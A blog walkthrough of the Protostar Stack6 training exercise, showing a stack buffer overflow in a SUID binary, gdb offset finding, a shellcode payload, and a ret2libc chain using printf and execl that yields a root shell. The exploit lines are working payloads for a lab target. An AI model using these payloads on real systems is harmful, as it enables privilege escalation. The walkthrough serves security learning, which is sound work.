MattAndreko.com

"hostess is a code-slaying dragon found deep within the core of the earth, unearthing magma and vulnerabilities single handedly while using the other hand to pet his cat"

Exploit Exercises - Protostar Stack 6

| Comments

The Stack6 challenge was definitely a learning experience for me. This actually went beyond my existing skills, and made me learn some new stuff.

We are given the following code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
        char buffer[64];
        unsigned int ret;

        printf("input path please: "); fflush(stdout);

        gets(buffer);

        ret = __builtin_return_address(0);

        if((ret & 0xbf000000) == 0xbf000000) {
                printf("bzzzt (%p)\n", ret);
                _exit(1);
        }

        printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
        getpath();



}

The first thing I tried to do, was to set it up just like I did on Stack 5.

First, I needed to find the offset (using a locally copied version, since the real one was suid and wouldn’t dump a core):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A

d8Ad9Ae0Ae1Ae

user@protostar:~$ ./stack6
input path please: 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A

d8Ad9Ae0Ae1Ae
got path 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A

d8Ad9Ae0Ae1Ae
Segmentation fault (core dumped)
user@protostar:~$ gdb --quiet --core=/tmp/core.11.stack6.2279
Core was generated by `./stack6'.
Program terminated with signal 11, Segmentation fault.
#0  0x37634136 in ?? ()

mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x37634136
80

Great, so now we know the EIP offset is 80 bytes. I for some reason, just wanted to verify it, and also see if I had some space after the return address for shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
user@protostar:~$ echo `perl -e 'print "A"x80 . "\xEF\xBE\xAD\xDE" . "C"x100'` | ./stack6
input path please: got path 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ▒AAAAAAAAAAAAᆳ▒CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Segmentation fault (core dumped)
user@protostar:~$ gdb --quiet --core=/tmp/core.11.stack6.2316
Core was generated by `./stack6'.
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb) x/10s $esp
0xbffff7f0:      'C' <repeats 100 times>
0xbffff855:      ""
0xbffff856:      ""
0xbffff857:      ""
0xbffff858:      "\001"
0xbffff85a:      ""
0xbffff85b:      ""
0xbffff85c:      "Ѓ\004\b"
0xbffff861:      ""
0xbffff862:      ""

Yep, my 100 “C”s came through fine. I definitely have some space if I need it. So I simply used the start of the “C”s as my return address, added a little bit of space with a 16 byte NOP sled, and then added shellcode (generated from msfpayload with badchars taken out). I wasn’t sure what the provided C code was doing yet, as I’m not really a C developer, and figured I’d learn in time. This was when I learned.

1
2
3
4
5
6
7
8
9
10
11
user@protostar:~$ perl -e 'print "A"x80 . "\xf0\xf7\xff\xbf" . "\x90"x16 . "\xdb\xc8\xd9\x74\x24\xf4\xba\x2a

\xa1\xa4\x48\x5d\x29\xc9\xb1\x10\x31\x55\x17\x83\xed\xfc\x03\x7f\xb2\x46\xbd\x4e\x7d\xb7\xe5\x47\x9e\x08\xbd\x6a

\xe1\x03\xb5\x2c\x7b\x81\xaf\xa4\x56\x45\xb9\xd3\xc1\xa6\xca\x73\x12\xd1\x03\xe1\x7b\x4f\xd5\x06\x29\x67\xed

\xc8\xce\x77\xc1\xaa\xa7\x19\x32\x59\x50\xe6\x1b\xce\x29\x07\x6e\x70\x18\x13\x1b\x71\x03\x6e\x5c"' > 

/home/user/file
user@protostar:~$ ./stack6 < file
input path please: bzzzt (0xbffff7f0)

So the C code was actually making sure that the return address was not somewhere in the stack (starting with “\xbf”). This is problematic, since my shellcode is in the stack, specifically near 0xbffff7f0. This means I had to learn how to get around this.

I had heard of some of the fun buzzwords listed on the Stack6 page: ret2libc, and Return-Oriented Programming. For some reason, I didn’t make the connection between Return-Oriented Programming and the buzzword I’ve been seeing everywhere, “ROP”. Call me dumb, but I didn’t see it until mostly done with this. I read a TON of sites, but some that I found useful were:

  • Corelan – These guys are geniuses. Watch some videos that corelanc0d3r gives. You’ll be amazed. And he also gave us mona.py, so he deserves praise.
  • Hackers Hut – This page was so useful for me getting execl working.
  • IHASOMGSECURITYSKILLS – If you’re ever on freenode in #offsec, you’ll often see sickn3ss there. His linux exploitation guides are amazing

So now I knew that I was going to need to at least use ret2libc, or maybe even ROP to call ‘execl(“/bin/bash”, “/bin/bash”, 0)’. I learned after experimenting quite a bit, that you can’t use ‘system(“/bin/bash”)’, because the call will lose the SUID permissions. I would get my bash shell, but it’d always have the same permissions as I already had. The next step would be to find out where in libc execl and other neccessary functions were stored in memory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@protostar:/opt/protostar/bin$ gdb ./stack6 --quiet
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, main (argc=1, argv=0xbffff844) at stack6/stack6.c:27
27      stack6/stack6.c: No such file or directory.
        in stack6/stack6.c
(gdb) print printf
$1 = {<text variable, no debug info>} 0xb7eddf90 <__printf>
(gdb) print execl
$2 = {<text variable, no debug info>} 0xb7f2e460 <*__GI_execl>

I looked up printf as well as execl, because with the help of the Hackers Hut link, I found that I could not pass a “0” as an argument, so I needed to use a printf hack instead. So my buffer overflow went from:

1
| buffer (80) | return code | shellcode |

to

1
| buffer (80) | printf | execl | formatstring | prg | prg | here |

To explain, I was still going to pass the 80 bytes to get to the EIP, but instead of jumping to the stack where my shellcode was stored, I would instead execute instructions. Specifically ‘execl(prg, prg, 0)’, with a printf wrapper to bypass the “0” going into memory. The “here” value is needs to have the value of the memory address it’s being entered to. For example, if “here” is located at 0xbfff0c14, it needs to contain the value 0xbfff0c14. It’s part of the printf hack.

So now we have the buffer, the memory addresses of “printf” and “execl”. Let’s put our format string and desired program together.

1
2
user@protostar:~$ export FORMATSTRING="%3\$n"
user@protostar:~$ export FAV="/home/user/fav"

NOTE: When reading through the Hackers Hut article, it would make it sound like you could export the formatstring as “%3$n”, but bash tries to interpret the dollar sign, so I had to escape it with a backslash. Additionally, instead of calling the code from fav.c, I used the shellcode I used in Stack 5, since it fixed the gets() issue. I compiled it as “fav” for some reason.

I then use a program that I found in the Hacking: The Art of Exploitation book to get me the memory addresses of the environmental variables when called by a program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
        char *ptr;
        if(argc < 3) {
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }

        ptr = getenv(argv[1]); /* Get env var location. */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
        printf("%s will be at %p\n", argv[1], ptr);
}

I then called it to get the actual values

1
2
3
4
user@protostar:/opt/protostar/bin$ /home/user/getenvaddr FORMATSTRING ./stack6
FORMATSTRING will be at 0xbffff9a5
user@protostar:/opt/protostar/bin$ /home/user/getenvaddr FAV ./stack6
FAV will be at 0xbfffff5a

The last thing I needed, was the “here” memory address. I took the source of stack6.c and compiled it to my home directory, but with one small change. I added a printf to show the location of the buffer in memory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
        char buffer[64];
        unsigned int ret;

        printf("input path please: "); fflush(stdout);

        gets(buffer);

        printf("0x%08x\n", buffer);

        ret = __builtin_return_address(0);

        if((ret & 0xbf000000) == 0xbf000000) {
                printf("bzzzt (%p)\n", ret);
                _exit(1);
        }

        printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
        getpath();



}
1
user@protostar:~$ gcc -fno-stack-protector -o stackx stack6.c

Because of the stack being different because of the folder I was in, I navigated to where the real stack6.c was, and then ran my tests.

1
2
3
4
5
user@protostar:~$ cd /opt/protostar/bin/
user@protostar:/opt/protostar/bin$ /home/user/stackx
input path please: A
0xbffff75c
got path A

So I know the address of buffer in stackx was 0xbffff75c. However, this won’t be exactly right for the real version. I then used gdb to see the changes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@protostar:/opt/protostar/bin$ gdb --quiet /home/user/stackx
Reading symbols from /home/user/stackx...(no debugging symbols found)...done.
(gdb) break getpath
Breakpoint 1 at 0x804848a
(gdb) run
Starting program: /home/user/stackx

Breakpoint 1, 0x0804848a in getpath ()
(gdb) x/4000s $esp
...
0xbffff977:      "/home/user/stackx"
...
0xbfffffea:      "/home/user/stackx"
...

So the buffer was at 0xbfff75c, but there will be an offset. “/home/user/stackx” is 17 bytes long. “/opt/protostar/bin/stack6” is 25 bytes long. That’s a difference of 8 bytes. Since this is shown twice in memory, that’s a total of 16 bytes. We also will need to account for the 80 “A”s we’re putting in for the EIP offset, and 20 chars for the ret2libc commands. So let’s add it up.

1
2
user@protostar:~$ perl -e 'printf("0x%08x\n", 0xbfff75c + 16 + 80 + 20)'
0x0bfff7d0

So now we have all the info we need. Again, we wanted to get to:

1
| buffer (80) | printf | execl | formatstring | prg | prg | here |

I wired it all up together with the values that we received.

1
2
3
4
5
6
7
8
9
10
11
12
user@protostar:~$cd /opt/protostar/bin
user@protostar:/opt/protostar/bin$perl -e 'print "A"x80 . "\x90\xdf\xed\xb7" . "\x60\xe4\xf2\xb7" . "\xa5\xf9\xff

\xbf" . "\x5a\xff\xff\xbf" . "\x5a\xff\xff\xbf" . "\xd0\xf7\xff\xbf"' %gt; /home/user/file
user@protostar:/opt/protostar/bin$ ./stack6 < /home/user/file
input path please: got path 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒AAAAAAAAAAAA▒▒▒`▒▒▒▒▒Z▒▒▒Z▒▒▒▒▒▒▒
# whoami
root
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Comments